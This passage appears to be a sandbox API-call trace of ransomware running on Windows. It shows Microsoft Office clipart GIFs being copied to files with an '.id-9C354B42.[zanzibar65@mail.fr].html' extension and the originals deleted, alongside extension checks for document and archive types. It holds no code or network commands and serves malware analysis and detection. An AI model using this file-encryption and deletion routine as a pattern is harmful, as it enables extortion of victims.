Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0048.913] lstrlenW (lpString=".dbf") returned 4 [0048.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0048.913] lstrlenW (lpString=".1cd") returned 4 [0048.913] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0048.913] lstrlenW (lpString=".jpg") returned 4 [0048.913] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.913] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=5375) returned 1 [0048.913] CloseHandle (hObject=0x218) returned 1 [0048.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0048.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.914] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.914] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.914] GetLastError () returned 0x0 [0048.914] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0048.916] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0048.917] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.917] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.917] SetEndOfFile (hFile=0x1ec) returned 1 [0048.917] CloseHandle (hObject=0x1ec) returned 1 [0048.917] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.917] SetEndOfFile (hFile=0x218) returned 1 [0048.918] CloseHandle (hObject=0x218) returned 1 [0048.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0048.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0048.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0048.919] lstrlenW (lpString=".doc") returned 4 [0048.919] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.919] lstrlenW (lpString=".docx") returned 5 [0048.919] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.919] lstrlenW (lpString=".pdf") returned 4 [0048.919] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.919] lstrlenW (lpString=".xls") returned 4 [0048.919] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.919] lstrlenW (lpString=".xlsx") returned 5 [0048.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.919] lstrlenW (lpString=".ppt") returned 4 [0048.919] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0048.919] lstrlenW (lpString=".zip") returned 4 [0048.919] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.919] lstrlenW (lpString=".rar") returned 4 [0048.919] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.919] lstrlenW (lpString=".bz2") returned 4 [0048.919] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.919] lstrlenW (lpString=".7z") returned 3 [0048.919] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0048.919] lstrlenW (lpString=".dbf") returned 4 [0048.919] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0048.919] lstrlenW (lpString=".1cd") returned 4 [0048.919] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0048.919] lstrlenW (lpString=".jpg") returned 4 [0048.920] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.920] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=9248) returned 1 [0048.920] CloseHandle (hObject=0x218) returned 1 [0048.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0048.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.920] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.920] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.920] GetLastError () returned 0x0 [0048.921] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2420, lpOverlapped=0x0) returned 1 [0048.922] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2430, lpOverlapped=0x0) returned 1 [0048.923] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.923] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.923] SetEndOfFile (hFile=0x1ec) returned 1 [0048.923] CloseHandle (hObject=0x1ec) returned 1 [0048.923] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.923] SetEndOfFile (hFile=0x218) returned 1 [0048.924] CloseHandle (hObject=0x218) returned 1 [0048.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0048.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.925] lstrlenW (lpString=".doc") returned 4 [0048.925] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.925] lstrlenW (lpString=".docx") returned 5 [0048.925] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.925] lstrlenW (lpString=".pdf") returned 4 [0048.925] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.925] lstrlenW (lpString=".xls") returned 4 [0048.925] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.925] lstrlenW (lpString=".xlsx") returned 5 [0048.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.925] lstrlenW (lpString=".ppt") returned 4 [0048.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.925] lstrlenW (lpString=".zip") returned 4 [0048.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.925] lstrlenW (lpString=".rar") returned 4 [0048.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.925] lstrlenW (lpString=".bz2") returned 4 [0048.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.925] lstrlenW (lpString=".7z") returned 3 [0048.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.925] lstrlenW (lpString=".dbf") returned 4 [0048.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.925] lstrlenW (lpString=".1cd") returned 4 [0048.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0048.926] lstrlenW (lpString=".jpg") returned 4 [0048.926] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.926] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=5016) returned 1 [0048.926] CloseHandle (hObject=0x218) returned 1 [0048.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0048.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.926] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.926] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.927] GetLastError () returned 0x0 [0048.927] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1398, lpOverlapped=0x0) returned 1 [0048.928] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0048.929] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.929] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.929] SetEndOfFile (hFile=0x1ec) returned 1 [0048.929] CloseHandle (hObject=0x1ec) returned 1 [0048.929] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.929] SetEndOfFile (hFile=0x218) returned 1 [0048.930] CloseHandle (hObject=0x218) returned 1 [0048.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0048.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.931] lstrlenW (lpString=".doc") returned 4 [0048.931] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.931] lstrlenW (lpString=".docx") returned 5 [0048.931] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.931] lstrlenW (lpString=".pdf") returned 4 [0048.931] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.931] lstrlenW (lpString=".xls") returned 4 [0048.931] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.931] lstrlenW (lpString=".xlsx") returned 5 [0048.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.931] lstrlenW (lpString=".ppt") returned 4 [0048.931] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.931] lstrlenW (lpString=".zip") returned 4 [0048.931] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.931] lstrlenW (lpString=".rar") returned 4 [0048.931] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.931] lstrlenW (lpString=".bz2") returned 4 [0048.931] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.931] lstrlenW (lpString=".7z") returned 3 [0048.931] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.931] lstrlenW (lpString=".dbf") returned 4 [0048.931] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.931] lstrlenW (lpString=".1cd") returned 4 [0048.931] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.931] lstrlenW (lpString=".jpg") returned 4 [0048.931] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.933] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=4390) returned 1 [0048.933] CloseHandle (hObject=0x218) returned 1 [0048.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0048.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.933] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.933] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.933] GetLastError () returned 0x0 [0048.933] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1126, lpOverlapped=0x0) returned 1 [0048.935] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0048.936] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.936] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.936] SetEndOfFile (hFile=0x1ec) returned 1 [0048.936] CloseHandle (hObject=0x1ec) returned 1 [0048.936] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.936] SetEndOfFile (hFile=0x218) returned 1 [0048.937] CloseHandle (hObject=0x218) returned 1 [0048.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0048.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.938] lstrlenW (lpString=".doc") returned 4 [0048.938] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.938] lstrlenW (lpString=".docx") returned 5 [0048.938] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.938] lstrlenW (lpString=".pdf") returned 4 [0048.938] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.938] lstrlenW (lpString=".xls") returned 4 [0048.938] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.938] lstrlenW (lpString=".xlsx") returned 5 [0048.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.938] lstrlenW (lpString=".ppt") returned 4 [0048.938] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.938] lstrlenW (lpString=".zip") returned 4 [0048.938] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.938] lstrlenW (lpString=".rar") returned 4 [0048.938] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.938] lstrlenW (lpString=".bz2") returned 4 [0048.938] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.938] lstrlenW (lpString=".7z") returned 3 [0048.938] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.938] lstrlenW (lpString=".dbf") returned 4 [0048.938] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.938] lstrlenW (lpString=".1cd") returned 4 [0048.938] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.938] lstrlenW (lpString=".jpg") returned 4 [0048.939] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.939] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3966) returned 1 [0048.939] CloseHandle (hObject=0x218) returned 1 [0048.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0048.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.941] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.941] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.941] GetLastError () returned 0x0 [0048.941] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xf7e, lpOverlapped=0x0) returned 1 [0048.943] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0048.943] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, 